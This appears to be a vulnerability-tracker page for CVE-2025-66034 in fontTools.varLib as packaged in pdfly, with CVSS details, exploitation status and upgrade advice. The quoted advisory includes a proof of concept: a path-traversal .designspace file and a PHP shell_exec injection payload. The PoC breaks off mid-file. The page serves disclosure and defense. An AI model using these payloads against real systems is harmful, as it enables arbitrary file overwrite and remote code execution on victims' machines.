VulnerabilityPublished 13 Aug 2026Updated 31 Oct 2026

CVE-2025-66034: Pdfly · fontTools is Vulnerable to Arbitrary File Write and XML injection in fontTools.varLib

Affects pdflySource GCVE Database

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Not known to be exploited · CVSS 6.3 Medium : upgrade to 0.5.1_3 when convenient.

Data as of 1 Nov 2026, 00:09 UTC

CVSS 3.1 base score

6.3Medium

How severe the flaw is on the 0–10 CVSS scale.

Patch: Available – fixed in 0.5.1_3

CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:N/I:H/A:L

Attack Vector: Local
Attack Complexity: High
Privileges Required: None
User Interaction: Required
Scope: Changed
Confidentiality: None
Integrity: High
Availability: Low

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Local: The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or remotely (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., tricking a legitimate user into opening a malicious document).
Attack Complexity: High: A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected. For example, a successful attack may require an attacker to: gather knowledge about the environment in which the vulnerable target/component exists; prepare the target environment to improve exploit reliability; or inject themselves into the logical network path between the target and the resource requested by the victim in order to read and/or modify network communications (e.g., a man in the middle attack).
Privileges Required: None: The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.
User Interaction: Required: Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited.
Scope: Changed: An exploited vulnerability can affect resources beyond the security scope managed by the security authority of the vulnerable component. In this case, the vulnerable component and the impacted component are different and managed by different security authorities.
Confidentiality: None: There is no loss of confidentiality within the impacted component.
Integrity: High: There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
Availability: Low: Performance is reduced or there are interruptions in resource availability. Even if repeated exploitation of the vulnerability is possible, the attacker does not have the ability to completely deny service to legitimate users. The resources in the impacted component are either partially available all of the time, or fully available only some of the time, but overall there is no direct, serious consequence to the impacted component.

Definitions: FIRST CVSS v3.1 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 13 Aug 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 31 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponized: A Metasploit exploit module or Exploit-DB entry exists (Metasploit scanner modules do not count), or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade pdfly to 0.5.1_3.

Affected software

Product	Affected	Fixed in
Homebrewpdfly`pkg:brew/pdfly`Other threats	Affected >=0.4.0 <0.5.1_3	Fixed in 0.5.1_3

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

## Summary The `fonttools varLib` (or `python3 -m fontTools.varLib`) script has an arbitrary file write vulnerability that leads to remote code execution when a malicious .designspace file is processed. The vulnerability affects the `main()` code path of `fontTools.varLib`, used by the fonttools varLib CLI and any code that invokes `fontTools.varLib.main()`. The vulnerability exists due to unsanitised filename handling combined with content injection. Attackers can write files to arbitrary filesystem locations via path traversal sequences, and inject malicious code (like PHP) into the output files through XML injection in labelname elements. When these files are placed in web-accessible locations and executed, this achieves remote code execution without requiring any elevated privileges. Once RCE is obtained, attackers can further escalate privileges to compromise system files (like overwriting `/etc/passwd`). Overall this allows attackers to: - Write font files to arbitrary locations on the filesystem - Overwrite configuration files - Corrupt application files and dependencies - Obtain remote code execution The attacker controls the file location, extension and contents which could lead to remote code execution as well as enabling a denial of service through file corruption means. ## Affected Lines `fontTools/varLib/__init__.py` ```python filename = vf.filename # Unsanitised filename output_path = os.path.join(output_dir, filename) # Path traversal vf.save(output_path) # Arbitrary file write ``` ## PoC 1. Set up `malicious.designspace` and respective `source-*.ttf` files in a directory like `/Users/<username>/testing/demo/` (will impact relative file location within malicious.designspace) `setup.py` ```python #!/usr/bin/env python3 import os from fontTools.fontBuilder import FontBuilder from fontTools.pens.ttGlyphPen import TTGlyphPen def create_source_font(filename, weight=400): fb = FontBuilder(unitsPerEm=1000, isTTF=True) fb.setupGlyphOrder([".notdef"]) fb.setupCharacterMap({}) pen = TTGlyphPen(None) pen.moveTo((0, 0)) pen.lineTo((500, 0)) pen.lineTo((500, 500)) pen.lineTo((0, 500)) pen.closePath() fb.setupGlyf({".notdef": pen.glyph()}) fb.setupHorizontalMetrics({".notdef": (500, 0)}) fb.setupHorizontalHeader(ascent=800, descent=-200) fb.setupOS2(usWeightClass=weight) fb.setupPost() fb.setupNameTable({"familyName": "Test", "styleName": f"Weight{weight}"}) fb.save(filename) if __name__ == '__main__': os.chdir(os.path.dirname(os.path.abspath(__file__))) create_source_font("source-light.ttf", weight=100) create_source_font("source-regular.ttf", weight=400) ``` `malicious.designspace` ```xml <?xml version='1.0' encoding='UTF-8'?> <designspace format="5.0"> <axes> <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/> </axes> <sources> <source filename="source-light.ttf" name="Light"> <location> <dimension name="Weight" xvalue="100"/> </location> </source> <source filename="source-regular.ttf" name="Regular"> <location> <dimension name="Weight" xvalue="400"/> </location> </source> </sources>  <variable-fonts> <variable-font name="MaliciousFont" filename="../../tmp/newarbitraryfile.json"> <axis-subsets> <axis-subset name="Weight"/> </axis-subsets> </variable-font> </variable-fonts> </designspace> ``` Optional: You can put a file with any material within `../../tmp/newarbitraryfile.json` in advance, the contents in the file will be overwritten after running the setup script in the following step. 2. Run the setup.py script to generate `source-*.tff` files required for the malicious.designspace file. ```bash python3 setup.py ``` 3. Execute the given payload using the vulnerable varLib saving the file into the arbitrary file location of filename ```bash fonttools varLib malicious.designspace ``` 4. Validate arbitrary file write was performed by looking at path assigned within malicious designspace ```bash cat {{filename_location}} ``` 5. After validating that we can provide arbitrary write to any location, we can also validate that we can control sections of content as well demonstrated with the below payload. `malicious2.designspace` ```xml <?xml version='1.0' encoding='UTF-8'?> <designspace format="5.0"> <axes>  <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"> <labelname xml:lang="en"><![CDATA[<?php echo shell_exec("/usr/bin/touch /tmp/MEOW123");?>]]]]><![CDATA[>]]></labelname> <labelname xml:lang="fr">MEOW2</labelname> </axis> </axes> <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/> <sources> <source filename="source-light.ttf" name="Light"> <location>

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Description

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